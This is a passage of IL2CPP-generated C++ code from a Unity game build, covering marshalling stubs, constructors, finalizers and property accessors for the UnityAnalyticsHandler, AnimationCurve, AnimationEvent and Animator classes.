sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Analytics.UnityAnalyticsHandler extern "C" void UnityAnalyticsHandler_t3238795095_marshal_pinvoke_cleanup(UnityAnalyticsHandler_t3238795095_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.Analytics.UnityAnalyticsHandler extern "C" void UnityAnalyticsHandler_t3238795095_marshal_com(const UnityAnalyticsHandler_t3238795095& unmarshaled, UnityAnalyticsHandler_t3238795095_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void UnityAnalyticsHandler_t3238795095_marshal_com_back(const UnityAnalyticsHandler_t3238795095_marshaled_com& marshaled, UnityAnalyticsHandler_t3238795095& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.Analytics.UnityAnalyticsHandler extern "C" void UnityAnalyticsHandler_t3238795095_marshal_com_cleanup(UnityAnalyticsHandler_t3238795095_marshaled_com& marshaled) { } // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::.ctor() extern "C" void UnityAnalyticsHandler__ctor_m113083880 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); UnityAnalyticsHandler_InternalCreate_m2198599331(__this, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::InternalCreate() extern "C" void UnityAnalyticsHandler_InternalCreate_m2198599331 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) { typedef void (*UnityAnalyticsHandler_InternalCreate_m2198599331_ftn) (UnityAnalyticsHandler_t3238795095 *); static UnityAnalyticsHandler_InternalCreate_m2198599331_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (UnityAnalyticsHandler_InternalCreate_m2198599331_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.UnityAnalyticsHandler::InternalCreate()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::InternalDestroy() extern "C" void UnityAnalyticsHandler_InternalDestroy_m485611477 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) { typedef void (*UnityAnalyticsHandler_InternalDestroy_m485611477_ftn) (UnityAnalyticsHandler_t3238795095 *); static UnityAnalyticsHandler_InternalDestroy_m485611477_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (UnityAnalyticsHandler_InternalDestroy_m485611477_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.UnityAnalyticsHandler::InternalDestroy()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::Finalize() extern "C" void UnityAnalyticsHandler_Finalize_m1363110228 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) UnityAnalyticsHandler_InternalDestroy_m485611477(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // System.Void UnityEngine.Analytics.UnityAnalyticsHandler::Dispose() extern "C" void UnityAnalyticsHandler_Dispose_m1048126775 (UnityAnalyticsHandler_t3238795095 * __this, const MethodInfo* method) { { UnityAnalyticsHandler_InternalDestroy_m485611477(__this, /*hidden argument*/NULL); GC_SuppressFinalize_m953228702(NULL /*static, unused*/, __this, /*hidden argument*/NULL); return; } } // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::CustomEvent(System.String) extern "C" int32_t UnityAnalyticsHandler_CustomEvent_m1069747280 (UnityAnalyticsHandler_t3238795095 * __this, String_t* ___customEventName0, const MethodInfo* method) { int32_t V_0 = 0; { String_t* L_0 = ___customEventName0; int32_t L_1 = UnityAnalyticsHandler_SendCustomEventName_m558081333(__this, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000e; } IL_000e: { int32_t L_2 = V_0; return L_2; } } // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::CustomEvent(UnityEngine.Analytics.CustomEventData) extern "C" int32_t UnityAnalyticsHandler_CustomEvent_m2884790978 (UnityAnalyticsHandler_t3238795095 * __this, CustomEventData_t1269126727 * ___eventData0, const MethodInfo* method) { int32_t V_0 = 0; { CustomEventData_t1269126727 * L_0 = ___eventData0; int32_t L_1 = UnityAnalyticsHandler_SendCustomEvent_m375646568(__this, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000e; } IL_000e: { int32_t L_2 = V_0; return L_2; } } // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEventName(System.String) extern "C" int32_t UnityAnalyticsHandler_SendCustomEventName_m558081333 (UnityAnalyticsHandler_t3238795095 * __this, String_t* ___customEventName0, const MethodInfo* method) { typedef int32_t (*UnityAnalyticsHandler_SendCustomEventName_m558081333_ftn) (UnityAnalyticsHandler_t3238795095 *, String_t*); static UnityAnalyticsHandler_SendCustomEventName_m558081333_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (UnityAnalyticsHandler_SendCustomEventName_m558081333_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEventName(System.String)"); return _il2cpp_icall_func(__this, ___customEventName0); } // UnityEngine.Analytics.AnalyticsResult UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEvent(UnityEngine.Analytics.CustomEventData) extern "C" int32_t UnityAnalyticsHandler_SendCustomEvent_m375646568 (UnityAnalyticsHandler_t3238795095 * __this, CustomEventData_t1269126727 * ___eventData0, const MethodInfo* method) { typedef int32_t (*UnityAnalyticsHandler_SendCustomEvent_m375646568_ftn) (UnityAnalyticsHandler_t3238795095 *, CustomEventData_t1269126727 *); static UnityAnalyticsHandler_SendCustomEvent_m375646568_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (UnityAnalyticsHandler_SendCustomEvent_m375646568_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.Analytics.UnityAnalyticsHandler::SendCustomEvent(UnityEngine.Analytics.CustomEventData)"); return _il2cpp_icall_func(__this, ___eventData0); } // Conversion methods for marshalling of: UnityEngine.AnimationCurve extern "C" void AnimationCurve_t3306541151_marshal_pinvoke(const AnimationCurve_t3306541151& unmarshaled, AnimationCurve_t3306541151_marshaled_pinvoke& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AnimationCurve_t3306541151_marshal_pinvoke_back(const AnimationCurve_t3306541151_marshaled_pinvoke& marshaled, AnimationCurve_t3306541151& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AnimationCurve extern "C" void AnimationCurve_t3306541151_marshal_pinvoke_cleanup(AnimationCurve_t3306541151_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.AnimationCurve extern "C" void AnimationCurve_t3306541151_marshal_com(const AnimationCurve_t3306541151& unmarshaled, AnimationCurve_t3306541151_marshaled_com& marshaled) { marshaled.___m_Ptr_0 = reinterpret_cast((unmarshaled.get_m_Ptr_0()).get_m_value_0()); } extern "C" void AnimationCurve_t3306541151_marshal_com_back(const AnimationCurve_t3306541151_marshaled_com& marshaled, AnimationCurve_t3306541151& unmarshaled) { IntPtr_t unmarshaled_m_Ptr_temp_0; memset(&unmarshaled_m_Ptr_temp_0, 0, sizeof(unmarshaled_m_Ptr_temp_0)); IntPtr_t unmarshaled_m_Ptr_temp_0_temp; unmarshaled_m_Ptr_temp_0_temp.set_m_value_0(reinterpret_cast((intptr_t)(marshaled.___m_Ptr_0))); unmarshaled_m_Ptr_temp_0 = unmarshaled_m_Ptr_temp_0_temp; unmarshaled.set_m_Ptr_0(unmarshaled_m_Ptr_temp_0); } // Conversion method for clean up from marshalling of: UnityEngine.AnimationCurve extern "C" void AnimationCurve_t3306541151_marshal_com_cleanup(AnimationCurve_t3306541151_marshaled_com& marshaled) { } // System.Void UnityEngine.AnimationCurve::.ctor(UnityEngine.Keyframe[]) extern "C" void AnimationCurve__ctor_m2814448007 (AnimationCurve_t3306541151 * __this, KeyframeU5BU5D_t449065829* ___keys0, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); KeyframeU5BU5D_t449065829* L_0 = ___keys0; AnimationCurve_Init_m1486386337(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.AnimationCurve::.ctor() extern "C" void AnimationCurve__ctor_m3707994114 (AnimationCurve_t3306541151 * __this, const MethodInfo* method) { { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); AnimationCurve_Init_m1486386337(__this, (KeyframeU5BU5D_t449065829*)(KeyframeU5BU5D_t449065829*)NULL, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.AnimationCurve::Cleanup() extern "C" void AnimationCurve_Cleanup_m2190142678 (AnimationCurve_t3306541151 * __this, const MethodInfo* method) { typedef void (*AnimationCurve_Cleanup_m2190142678_ftn) (AnimationCurve_t3306541151 *); static AnimationCurve_Cleanup_m2190142678_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AnimationCurve_Cleanup_m2190142678_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AnimationCurve::Cleanup()"); _il2cpp_icall_func(__this); } // System.Void UnityEngine.AnimationCurve::Finalize() extern "C" void AnimationCurve_Finalize_m3393741894 (AnimationCurve_t3306541151 * __this, const MethodInfo* method) { Exception_t1927440687 * __last_unhandled_exception = 0; NO_UNUSED_WARNING (__last_unhandled_exception); Exception_t1927440687 * __exception_local = 0; NO_UNUSED_WARNING (__exception_local); int32_t __leave_target = 0; NO_UNUSED_WARNING (__leave_target); { } IL_0001: try { // begin try (depth: 1) AnimationCurve_Cleanup_m2190142678(__this, /*hidden argument*/NULL); IL2CPP_LEAVE(0x13, FINALLY_000c); } // end try (depth: 1) catch(Il2CppExceptionWrapper& e) { __last_unhandled_exception = (Exception_t1927440687 *)e.ex; goto FINALLY_000c; } FINALLY_000c: { // begin finally (depth: 1) Object_Finalize_m4087144328(__this, /*hidden argument*/NULL); IL2CPP_END_FINALLY(12) } // end finally (depth: 1) IL2CPP_CLEANUP(12) { IL2CPP_JUMP_TBL(0x13, IL_0013) IL2CPP_RETHROW_IF_UNHANDLED(Exception_t1927440687 *) } IL_0013: { return; } } // System.Void UnityEngine.AnimationCurve::Init(UnityEngine.Keyframe[]) extern "C" void AnimationCurve_Init_m1486386337 (AnimationCurve_t3306541151 * __this, KeyframeU5BU5D_t449065829* ___keys0, const MethodInfo* method) { typedef void (*AnimationCurve_Init_m1486386337_ftn) (AnimationCurve_t3306541151 *, KeyframeU5BU5D_t449065829*); static AnimationCurve_Init_m1486386337_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (AnimationCurve_Init_m1486386337_ftn)il2cpp_codegen_resolve_icall ("UnityEngine.AnimationCurve::Init(UnityEngine.Keyframe[])"); _il2cpp_icall_func(__this, ___keys0); } // Conversion methods for marshalling of: UnityEngine.AnimationEvent extern "C" void AnimationEvent_t2428323300_marshal_pinvoke(const AnimationEvent_t2428323300& unmarshaled, AnimationEvent_t2428323300_marshaled_pinvoke& marshaled) { Il2CppCodeGenException* ___m_StateSender_8Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_StateSender' of type 'AnimationEvent': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_StateSender_8Exception); } extern "C" void AnimationEvent_t2428323300_marshal_pinvoke_back(const AnimationEvent_t2428323300_marshaled_pinvoke& marshaled, AnimationEvent_t2428323300& unmarshaled) { Il2CppCodeGenException* ___m_StateSender_8Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_StateSender' of type 'AnimationEvent': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_StateSender_8Exception); } // Conversion method for clean up from marshalling of: UnityEngine.AnimationEvent extern "C" void AnimationEvent_t2428323300_marshal_pinvoke_cleanup(AnimationEvent_t2428323300_marshaled_pinvoke& marshaled) { } // Conversion methods for marshalling of: UnityEngine.AnimationEvent extern "C" void AnimationEvent_t2428323300_marshal_com(const AnimationEvent_t2428323300& unmarshaled, AnimationEvent_t2428323300_marshaled_com& marshaled) { Il2CppCodeGenException* ___m_StateSender_8Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_StateSender' of type 'AnimationEvent': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_StateSender_8Exception); } extern "C" void AnimationEvent_t2428323300_marshal_com_back(const AnimationEvent_t2428323300_marshaled_com& marshaled, AnimationEvent_t2428323300& unmarshaled) { Il2CppCodeGenException* ___m_StateSender_8Exception = il2cpp_codegen_get_marshal_directive_exception("Cannot marshal field 'm_StateSender' of type 'AnimationEvent': Reference type field marshaling is not supported."); IL2CPP_RAISE_MANAGED_EXCEPTION(___m_StateSender_8Exception); } // Conversion method for clean up from marshalling of: UnityEngine.AnimationEvent extern "C" void AnimationEvent_t2428323300_marshal_com_cleanup(AnimationEvent_t2428323300_marshaled_com& marshaled) { } // System.Void UnityEngine.AnimationEvent::.ctor() extern "C" void AnimationEvent__ctor_m3458990599 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AnimationEvent__ctor_m3458990599_MetadataUsageId); s_Il2CppMethodInitialized = true; } { Object__ctor_m2551263788(__this, /*hidden argument*/NULL); __this->set_m_Time_0((0.0f)); __this->set_m_FunctionName_1(_stringLiteral371857150); __this->set_m_StringParameter_2(_stringLiteral371857150); __this->set_m_ObjectReferenceParameter_3((Object_t1021602117 *)NULL); __this->set_m_FloatParameter_4((0.0f)); __this->set_m_IntParameter_5(0); __this->set_m_MessageOptions_6(0); __this->set_m_Source_7(0); __this->set_m_StateSender_8((AnimationState_t1303741697 *)NULL); return; } } // System.String UnityEngine.AnimationEvent::get_data() extern "C" String_t* AnimationEvent_get_data_m1944226119 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_StringParameter_2(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_data(System.String) extern "C" void AnimationEvent_set_data_m2305843164 (AnimationEvent_t2428323300 * __this, String_t* ___value0, const MethodInfo* method) { { String_t* L_0 = ___value0; __this->set_m_StringParameter_2(L_0); return; } } // System.String UnityEngine.AnimationEvent::get_stringParameter() extern "C" String_t* AnimationEvent_get_stringParameter_m3994883119 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_StringParameter_2(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_stringParameter(System.String) extern "C" void AnimationEvent_set_stringParameter_m3956270534 (AnimationEvent_t2428323300 * __this, String_t* ___value0, const MethodInfo* method) { { String_t* L_0 = ___value0; __this->set_m_StringParameter_2(L_0); return; } } // System.Single UnityEngine.AnimationEvent::get_floatParameter() extern "C" float AnimationEvent_get_floatParameter_m2695208933 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_FloatParameter_4(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_floatParameter(System.Single) extern "C" void AnimationEvent_set_floatParameter_m4139544688 (AnimationEvent_t2428323300 * __this, float ___value0, const MethodInfo* method) { { float L_0 = ___value0; __this->set_m_FloatParameter_4(L_0); return; } } // System.Int32 UnityEngine.AnimationEvent::get_intParameter() extern "C" int32_t AnimationEvent_get_intParameter_m903783586 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_IntParameter_5(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_intParameter(System.Int32) extern "C" void AnimationEvent_set_intParameter_m1174062029 (AnimationEvent_t2428323300 * __this, int32_t ___value0, const MethodInfo* method) { { int32_t L_0 = ___value0; __this->set_m_IntParameter_5(L_0); return; } } // UnityEngine.Object UnityEngine.AnimationEvent::get_objectReferenceParameter() extern "C" Object_t1021602117 * AnimationEvent_get_objectReferenceParameter_m3565420672 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { Object_t1021602117 * V_0 = NULL; { Object_t1021602117 * L_0 = __this->get_m_ObjectReferenceParameter_3(); V_0 = L_0; goto IL_000d; } IL_000d: { Object_t1021602117 * L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_objectReferenceParameter(UnityEngine.Object) extern "C" void AnimationEvent_set_objectReferenceParameter_m3171652515 (AnimationEvent_t2428323300 * __this, Object_t1021602117 * ___value0, const MethodInfo* method) { { Object_t1021602117 * L_0 = ___value0; __this->set_m_ObjectReferenceParameter_3(L_0); return; } } // System.String UnityEngine.AnimationEvent::get_functionName() extern "C" String_t* AnimationEvent_get_functionName_m4178006856 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { String_t* V_0 = NULL; { String_t* L_0 = __this->get_m_FunctionName_1(); V_0 = L_0; goto IL_000d; } IL_000d: { String_t* L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_functionName(System.String) extern "C" void AnimationEvent_set_functionName_m1910707421 (AnimationEvent_t2428323300 * __this, String_t* ___value0, const MethodInfo* method) { { String_t* L_0 = ___value0; __this->set_m_FunctionName_1(L_0); return; } } // System.Single UnityEngine.AnimationEvent::get_time() extern "C" float AnimationEvent_get_time_m2837507241 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { float V_0 = 0.0f; { float L_0 = __this->get_m_Time_0(); V_0 = L_0; goto IL_000d; } IL_000d: { float L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_time(System.Single) extern "C" void AnimationEvent_set_time_m2162176572 (AnimationEvent_t2428323300 * __this, float ___value0, const MethodInfo* method) { { float L_0 = ___value0; __this->set_m_Time_0(L_0); return; } } // UnityEngine.SendMessageOptions UnityEngine.AnimationEvent::get_messageOptions() extern "C" int32_t AnimationEvent_get_messageOptions_m3547411650 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = __this->get_m_MessageOptions_6(); V_0 = L_0; goto IL_000d; } IL_000d: { int32_t L_1 = V_0; return L_1; } } // System.Void UnityEngine.AnimationEvent::set_messageOptions(UnityEngine.SendMessageOptions) extern "C" void AnimationEvent_set_messageOptions_m3825202925 (AnimationEvent_t2428323300 * __this, int32_t ___value0, const MethodInfo* method) { { int32_t L_0 = ___value0; __this->set_m_MessageOptions_6(L_0); return; } } // System.Boolean UnityEngine.AnimationEvent::get_isFiredByLegacy() extern "C" bool AnimationEvent_get_isFiredByLegacy_m2585487710 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_Source_7(); V_0 = (bool)((((int32_t)L_0) == ((int32_t)1))? 1 : 0); goto IL_0010; } IL_0010: { bool L_1 = V_0; return L_1; } } // System.Boolean UnityEngine.AnimationEvent::get_isFiredByAnimator() extern "C" bool AnimationEvent_get_isFiredByAnimator_m3399078288 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = __this->get_m_Source_7(); V_0 = (bool)((((int32_t)L_0) == ((int32_t)2))? 1 : 0); goto IL_0010; } IL_0010: { bool L_1 = V_0; return L_1; } } // UnityEngine.AnimationState UnityEngine.AnimationEvent::get_animationState() extern "C" AnimationState_t1303741697 * AnimationEvent_get_animationState_m1069191380 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AnimationEvent_get_animationState_m1069191380_MetadataUsageId); s_Il2CppMethodInitialized = true; } AnimationState_t1303741697 * V_0 = NULL; { bool L_0 = AnimationEvent_get_isFiredByLegacy_m2585487710(__this, /*hidden argument*/NULL); if (L_0) { goto IL_0016; } } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Debug_LogError_m3715728798(NULL /*static, unused*/, _stringLiteral2898685537, /*hidden argument*/NULL); } IL_0016: { AnimationState_t1303741697 * L_1 = __this->get_m_StateSender_8(); V_0 = L_1; goto IL_0022; } IL_0022: { AnimationState_t1303741697 * L_2 = V_0; return L_2; } } // UnityEngine.AnimatorStateInfo UnityEngine.AnimationEvent::get_animatorStateInfo() extern "C" AnimatorStateInfo_t2577870592 AnimationEvent_get_animatorStateInfo_m4255437518 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AnimationEvent_get_animatorStateInfo_m4255437518_MetadataUsageId); s_Il2CppMethodInitialized = true; } AnimatorStateInfo_t2577870592 V_0; memset(&V_0, 0, sizeof(V_0)); { bool L_0 = AnimationEvent_get_isFiredByAnimator_m3399078288(__this, /*hidden argument*/NULL); if (L_0) { goto IL_0016; } } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Debug_LogError_m3715728798(NULL /*static, unused*/, _stringLiteral619768799, /*hidden argument*/NULL); } IL_0016: { AnimatorStateInfo_t2577870592 L_1 = __this->get_m_AnimatorStateInfo_9(); V_0 = L_1; goto IL_0022; } IL_0022: { AnimatorStateInfo_t2577870592 L_2 = V_0; return L_2; } } // UnityEngine.AnimatorClipInfo UnityEngine.AnimationEvent::get_animatorClipInfo() extern "C" AnimatorClipInfo_t3905751349 AnimationEvent_get_animatorClipInfo_m615328956 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { static bool s_Il2CppMethodInitialized; if (!s_Il2CppMethodInitialized) { il2cpp_codegen_initialize_method (AnimationEvent_get_animatorClipInfo_m615328956_MetadataUsageId); s_Il2CppMethodInitialized = true; } AnimatorClipInfo_t3905751349 V_0; memset(&V_0, 0, sizeof(V_0)); { bool L_0 = AnimationEvent_get_isFiredByAnimator_m3399078288(__this, /*hidden argument*/NULL); if (L_0) { goto IL_0016; } } { IL2CPP_RUNTIME_CLASS_INIT(Debug_t1368543263_il2cpp_TypeInfo_var); Debug_LogError_m3715728798(NULL /*static, unused*/, _stringLiteral1382485084, /*hidden argument*/NULL); } IL_0016: { AnimatorClipInfo_t3905751349 L_1 = __this->get_m_AnimatorClipInfo_10(); V_0 = L_1; goto IL_0022; } IL_0022: { AnimatorClipInfo_t3905751349 L_2 = V_0; return L_2; } } // System.Int32 UnityEngine.AnimationEvent::GetHash() extern "C" int32_t AnimationEvent_GetHash_m2850593057 (AnimationEvent_t2428323300 * __this, const MethodInfo* method) { int32_t V_0 = 0; float V_1 = 0.0f; int32_t V_2 = 0; { V_0 = 0; String_t* L_0 = AnimationEvent_get_functionName_m4178006856(__this, /*hidden argument*/NULL); NullCheck(L_0); int32_t L_1 = VirtFuncInvoker0< int32_t >::Invoke(2 /* System.Int32 System.Object::GetHashCode() */, L_0); V_0 = L_1; int32_t L_2 = V_0; float L_3 = AnimationEvent_get_time_m2837507241(__this, /*hidden argument*/NULL); V_1 = L_3; int32_t L_4 = Single_GetHashCode_m3102305584((&V_1), /*hidden argument*/NULL); V_0 = ((int32_t)((int32_t)((int32_t)((int32_t)((int32_t)33)*(int32_t)L_2))+(int32_t)L_4)); int32_t L_5 = V_0; V_2 = L_5; goto IL_0031; } IL_0031: { int32_t L_6 = V_2; return L_6; } } // System.Single UnityEngine.Animator::GetFloat(System.Int32) extern "C" float Animator_GetFloat_m3714897923 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { float V_0 = 0.0f; { int32_t L_0 = ___id0; float L_1 = Animator_GetFloatID_m2459156264(__this, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000e; } IL_000e: { float L_2 = V_0; return L_2; } } // System.Void UnityEngine.Animator::SetFloat(System.Int32,System.Single) extern "C" void Animator_SetFloat_m2956422680 (Animator_t69676727 * __this, int32_t ___id0, float ___value1, const MethodInfo* method) { { int32_t L_0 = ___id0; float L_1 = ___value1; Animator_SetFloatID_m315788701(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Boolean UnityEngine.Animator::GetBool(System.Int32) extern "C" bool Animator_GetBool_m919083767 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { bool V_0 = false; { int32_t L_0 = ___id0; bool L_1 = Animator_GetBoolID_m618935642(__this, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000e; } IL_000e: { bool L_2 = V_0; return L_2; } } // System.Void UnityEngine.Animator::SetBool(System.Int32,System.Boolean) extern "C" void Animator_SetBool_m2272870950 (Animator_t69676727 * __this, int32_t ___id0, bool ___value1, const MethodInfo* method) { { int32_t L_0 = ___id0; bool L_1 = ___value1; Animator_SetBoolID_m1875705373(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Int32 UnityEngine.Animator::GetInteger(System.Int32) extern "C" int32_t Animator_GetInteger_m1012099561 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { int32_t V_0 = 0; { int32_t L_0 = ___id0; int32_t L_1 = Animator_GetIntegerID_m224950522(__this, L_0, /*hidden argument*/NULL); V_0 = L_1; goto IL_000e; } IL_000e: { int32_t L_2 = V_0; return L_2; } } // System.Void UnityEngine.Animator::SetInteger(System.Int32,System.Int32) extern "C" void Animator_SetInteger_m1464706502 (Animator_t69676727 * __this, int32_t ___id0, int32_t ___value1, const MethodInfo* method) { { int32_t L_0 = ___id0; int32_t L_1 = ___value1; Animator_SetIntegerID_m1279848667(__this, L_0, L_1, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Animator::SetTrigger(System.String) extern "C" void Animator_SetTrigger_m3418492570 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) { { String_t* L_0 = ___name0; Animator_SetTriggerString_m2002790359(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Animator::SetTrigger(System.Int32) extern "C" void Animator_SetTrigger_m2297748533 (Animator_t69676727 * __this, int32_t ___id0, const MethodInfo* method) { { int32_t L_0 = ___id0; Animator_SetTriggerID_m75277672(__this, L_0, /*hidden argument*/NULL); return; } } // System.Void UnityEngine.Animator::ResetTrigger(System.String) extern "C" void Animator_ResetTrigger_m865269317 (Animator_t69676727 * __this, String_t* ___name0, const MethodInfo* method) { { String_t* L_0 = ___name0; Animator_ResetTriggerString_m1445965342(__this, L_0, /*hidden argument*/NULL); return; } } // UnityEngine.AnimatorStateInfo UnityEngine.Animator::GetCurrentAnimatorStateInfo(System.Int32) extern "C" AnimatorStateInfo_t2577870592 Animator_GetCurrentAnimatorStateInfo_m1931338898 (Animator_t69676727 * __this, int32_t ___layerIndex0, const MethodInfo* method) { typedef AnimatorStateInfo_t2577870592 (*Animator_GetCurrentAnimatorStateInfo_m1931338898_ftn) (Animator_t69676727 *, int32_t); static Animator_GetCurrentAnimatorStateInfo_m1931338898_ftn _il2cpp_icall_func; if (!_il2cpp_icall_func) _il2cpp_icall_func = (Animator_GetCurrentAnimatorStateInfo_m1931338898_ftn)il2cpp_codegen_resolve_icall 